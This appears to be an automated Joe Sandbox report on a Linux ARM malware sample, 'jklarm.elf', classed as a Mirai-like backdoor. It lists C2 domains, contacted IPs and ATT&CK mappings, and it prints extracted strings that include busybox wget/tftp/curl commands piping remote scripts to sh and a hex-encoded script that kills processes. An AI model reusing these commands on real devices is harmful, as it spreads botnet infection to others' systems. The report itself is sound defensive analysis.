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Linux Analysis Report
jklarm.elf

Overview

General Information

Sample name:	jklarm.elf
Analysis ID:	1643364
MD5:	fda0ca502893f958d4ef2a9f983f817b
SHA1:	34f4ad3c4b172fce500a9c98379c53cb867c730e
SHA256:	4c5db524ae264efdcb5b68057d062be4cfce059968926d9f33831bfae44abc0e
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643364
Start date and time:	2025-03-19 19:41:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklarm.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/98@20/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklarm.elf
PID:	5732
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklarm.elf (PID: 5732, Parent: 5535, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jklarm.elf

jklarm.elf New Fork (PID: 5734, Parent: 5732)

jklarm.elf New Fork (PID: 5736, Parent: 5734)

jklarm.elf New Fork (PID: 5738, Parent: 5734)

jklarm.elf New Fork (PID: 5739, Parent: 5734)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 23 -> 59120

Source: global traffic	TCP traffic: 192.168.2.13:49066 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.13:43904 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.13:43468 -> 185.220.204.227:1440

Source: /tmp/jklarm.elf (PID: 5732)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 94.207.48.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.142.64.42
Source: unknown	TCP traffic detected without corresponding DNS query: 94.207.48.82
Source: unknown	TCP traffic detected without corresponding DNS query: 77.142.64.42
Source: unknown	TCP traffic detected without corresponding DNS query: 49.116.192.174
Source: unknown	TCP traffic detected without corresponding DNS query: 49.116.192.174
Source: unknown	TCP traffic detected without corresponding DNS query: 85.83.222.176
Source: unknown	TCP traffic detected without corresponding DNS query: 85.83.222.176
Source: unknown	TCP traffic detected without corresponding DNS query: 143.174.121.0
Source: unknown	TCP traffic detected without corresponding DNS query: 143.174.121.0
Source: unknown	TCP traffic detected without corresponding DNS query: 92.199.5.220
Source: unknown	TCP traffic detected without corresponding DNS query: 92.199.5.220
Source: unknown	TCP traffic detected without corresponding DNS query: 168.41.173.163
Source: unknown	TCP traffic detected without corresponding DNS query: 168.41.173.163
Source: unknown	TCP traffic detected without corresponding DNS query: 212.144.206.163
Source: unknown	TCP traffic detected without corresponding DNS query: 95.62.83.22
Source: unknown	TCP traffic detected without corresponding DNS query: 212.144.206.163
Source: unknown	TCP traffic detected without corresponding DNS query: 88.204.155.118
Source: unknown	TCP traffic detected without corresponding DNS query: 95.62.83.22
Source: unknown	TCP traffic detected without corresponding DNS query: 26.12.170.82
Source: unknown	TCP traffic detected without corresponding DNS query: 88.204.155.118
Source: unknown	TCP traffic detected without corresponding DNS query: 26.12.170.82
Source: unknown	TCP traffic detected without corresponding DNS query: 166.14.114.249
Source: unknown	TCP traffic detected without corresponding DNS query: 37.129.15.175
Source: unknown	TCP traffic detected without corresponding DNS query: 166.14.114.249
Source: unknown	TCP traffic detected without corresponding DNS query: 37.129.15.175
Source: unknown	TCP traffic detected without corresponding DNS query: 96.243.48.34
Source: unknown	TCP traffic detected without corresponding DNS query: 96.243.48.34
Source: unknown	TCP traffic detected without corresponding DNS query: 193.158.232.2
Source: unknown	TCP traffic detected without corresponding DNS query: 193.158.232.2
Source: unknown	TCP traffic detected without corresponding DNS query: 134.103.16.126
Source: unknown	TCP traffic detected without corresponding DNS query: 162.201.1.239
Source: unknown	TCP traffic detected without corresponding DNS query: 134.103.16.126
Source: unknown	TCP traffic detected without corresponding DNS query: 162.201.1.239
Source: unknown	TCP traffic detected without corresponding DNS query: 161.103.100.52
Source: unknown	TCP traffic detected without corresponding DNS query: 161.103.100.52
Source: unknown	TCP traffic detected without corresponding DNS query: 215.219.14.131
Source: unknown	TCP traffic detected without corresponding DNS query: 146.160.201.182
Source: unknown	TCP traffic detected without corresponding DNS query: 215.219.14.131
Source: unknown	TCP traffic detected without corresponding DNS query: 146.160.201.182
Source: unknown	TCP traffic detected without corresponding DNS query: 195.238.147.30
Source: unknown	TCP traffic detected without corresponding DNS query: 195.238.147.30
Source: unknown	TCP traffic detected without corresponding DNS query: 150.176.157.54
Source: unknown	TCP traffic detected without corresponding DNS query: 150.176.157.54
Source: unknown	TCP traffic detected without corresponding DNS query: 167.66.204.119
Source: unknown	TCP traffic detected without corresponding DNS query: 55.48.202.5
Source: unknown	TCP traffic detected without corresponding DNS query: 167.66.204.119
Source: unknown	TCP traffic detected without corresponding DNS query: 62.152.150.243
Source: unknown	TCP traffic detected without corresponding DNS query: 55.48.202.5
Source: unknown	TCP traffic detected without corresponding DNS query: 24.30.165.93

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: jklarm.elf	String found in binary or memory: http:///curl.sh
Source: jklarm.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/98@20/0

Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/238/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/239/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/914/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/3636/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/3095/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/241/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/5/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/247/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/248/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/128/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/7/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/249/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/129/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/8/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/800/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/9/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1906/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/802/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/803/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/20/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/21/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/22/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/23/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/24/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/25/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/26/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/27/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/28/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/29/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/3420/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1482/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/490/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1480/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/250/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/371/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/130/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/251/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/131/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/252/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/132/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/253/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/254/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1238/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/134/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/255/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/256/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/257/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/378/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/3413/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/258/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/259/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/1475/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/936/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/30/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/816/comm	Jump to behavior
Source: /tmp/jklarm.elf (PID: 5732)	File opened: /proc/5715/comm	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 23 -> 59120

Source: /tmp/jklarm.elf (PID: 5732)

Queries kernel information via 'uname':

Jump to behavior

Source: jklarm.elf, 5732.1.00007ffe5f278000.00007ffe5f299000.rw-.sdmp, jklarm.elf, 5736.1.00007ffe5f278000.00007ffe5f299000.rw-.sdmp	Binary or memory string: ;x86_64/usr/bin/qemu-arm/tmp/jklarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm.elf
Source: jklarm.elf, 5732.1.000055c5723b2000.000055c572500000.rw-.sdmp, jklarm.elf, 5736.1.000055c5723b2000.000055c572500000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: jklarm.elf, 5732.1.000055c5723b2000.000055c572500000.rw-.sdmp, jklarm.elf, 5736.1.000055c5723b2000.000055c572500000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm.elf, 5732.1.00007ffe5f278000.00007ffe5f299000.rw-.sdmp, jklarm.elf, 5736.1.00007ffe5f278000.00007ffe5f299000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
jklarm.elf	50%	Virustotal		Browse
jklarm.elf	44%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	104.248.47.182	true	false	high
ohlookthereismyboats.geek	185.220.204.227	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklarm.elf	false		high
http:///curl.sh	jklarm.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
213.82.122.217	unknown	Italy	3269	ASN-IBSNAZIT	false
218.186.47.180	unknown	Singapore	10091	STARHUB-CABLEStarHubLtdSG	false
211.133.89.89	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
144.144.15.109	unknown	United States	58541	CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN	false
64.138.17.213	unknown	United States	19855	MASERGYUS	false
117.91.246.179	unknown	China	137697	CHINATELECOM-JIANGSU-YANGZHOU-IDCCHINATELECOMJiangSuYangZ	false
66.22.164.78	unknown	United States	8010	DIGICON-CORPUS	false
105.251.12.105	unknown	South Africa	29975	VODACOM-ZA	false
146.167.213.182	unknown	United States	14977	STATE-OF-WYOMING-ASNUS	false
199.236.188.75	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
60.215.92.112	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
153.234.131.61	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
83.139.73.176	unknown	Croatia (LOCAL Name: Hrvatska)	31012	DCM-ASVipnetdooHR	false
68.44.24.47	unknown	United States	7922	COMCAST-7922US	false
62.243.196.232	unknown	Denmark	3292	TDCTDCASDK	false
219.134.64.31	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
195.51.100.82	unknown	European Union	5498	UNIBEL-ASBY	false
61.118.112.116	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
113.4.19.214	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
182.239.215.3	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
200.108.127.37	unknown	Argentina	16921	INTELIGLOBE-1US	false
202.73.11.56	unknown	Malaysia	24321	OCENET-AS-APOCESdnBhdISPMY	false
146.117.90.222	unknown	unknown	17477	MCT-SYDNEYMacquarieTelecomAU	false
129.67.84.113	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
193.141.111.54	unknown	Germany	1136	KPNKPNNationalEU	false
42.159.167.20	unknown	China	58593	BLUECLOUDShanghaiBlueCloudTechnologyCoLtdCN	false
47.159.141.235	unknown	United States	5650	FRONTIER-FRTRUS	false
80.189.17.107	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	false
60.174.236.208	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
30.85.180.10	unknown	United States	7922	COMCAST-7922US	false
118.178.44.103	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
29.59.184.135	unknown	United States	7922	COMCAST-7922US	false
139.134.238.238	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
44.40.187.61	unknown	United States	20473	AS-CHOOPAUS	false
196.66.183.148	unknown	Morocco	6713	IAM-ASMA	false
97.79.102.164	unknown	United States	33363	BHN-33363US	false
11.140.13.117	unknown	United States	3356	LEVEL3US	false
4.98.80.195	unknown	United States	3356	LEVEL3US	false
130.31.205.182	unknown	United States	367	DNIC-ASBLK-00306-00371US	false
212.31.5.10	unknown	Turkey	8721	HurriyetGazetecilikandMatbacilikTR	false
176.233.219.120	unknown	Turkey	34984	TELLCOM-ASTR	false
146.229.192.58	unknown	United States	10364	UAHNETUS	false
214.177.60.40	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
16.130.34.165	unknown	United States	unknown	unknown	false
109.128.53.150	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
87.142.85.69	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
120.83.158.128	unknown	China	136959	UNICOM-FUOSHAN-IDCChinaUnicomGuangdongIPnetworkCN	false
38.136.21.40	unknown	United States	174	COGENT-174US	false
88.36.3.94	unknown	Italy	3269	ASN-IBSNAZIT	false
219.171.164.104	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
59.14.203.25	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
179.189.46.208	unknown	Brazil	262504	NovaRededeTelecomunicacoesLtdaBR	false
79.187.56.79	unknown	Poland	5617	TPNETPL	false
63.163.7.60	unknown	United States	1239	SPRINTLINKUS	false
203.73.196.118	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
21.217.18.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
33.122.5.123	unknown	United States	2686	ATGS-MMD-ASUS	false
15.176.70.98	unknown	United States	22562	CSC-IGN-EMEAUS	false
208.77.245.200	unknown	United States	29849	AS-M9CLOUDUS	false
88.224.17.21	unknown	Turkey	9121	TTNETTR	false
174.140.247.75	unknown	United States	9009	M247GB	false
168.163.100.89	unknown	United States	38027	MOST-AS-APInformationCenterMinistryofSciandTechCN	false
37.108.137.163	unknown	Poland	5617	TPNETPL	false
158.26.184.175	unknown	United States	1766	ASN-EXXONMOBIL-US	false
49.7.104.72	unknown	China	23724	CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation	false
156.122.80.198	unknown	United States	393504	XNSTGCA	false
9.247.255.169	unknown	United States	3356	LEVEL3US	false
31.244.96.197	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
106.250.0.123	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
171.162.20.242	unknown	United States	10794	BANKAMERICAUS	false
142.159.221.111	unknown	Canada	822	STJOSEPHS-ASCA	false
148.60.148.211	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
206.77.118.246	unknown	United States	54933	AUSTINISD-AS-1US	false
64.216.233.211	unknown	United States	7018	ATT-INTERNET4US	false
118.234.154.33	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
116.182.71.144	unknown	China	137539	UNICOM-HARBIN-IDCChinaUnicomCN	false
38.35.165.162	unknown	United States	174	COGENT-174US	false
140.225.161.55	unknown	United States	14763	STKATEUS	false
3.129.135.75	unknown	United States	16509	AMAZON-02US	false
103.42.163.255	unknown	India	58678	INTECHONLINE-INIntechOnlinePrivateLimitedIN	false
192.88.48.239	unknown	United States	270	AS270US	false
105.66.60.219	unknown	Morocco	36884	MAROCCONNECTMA	false
73.211.78.206	unknown	United States	7922	COMCAST-7922US	false
162.93.49.222	unknown	United States	6949	CHARLES-SCHWABUS	false
95.81.253.226	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
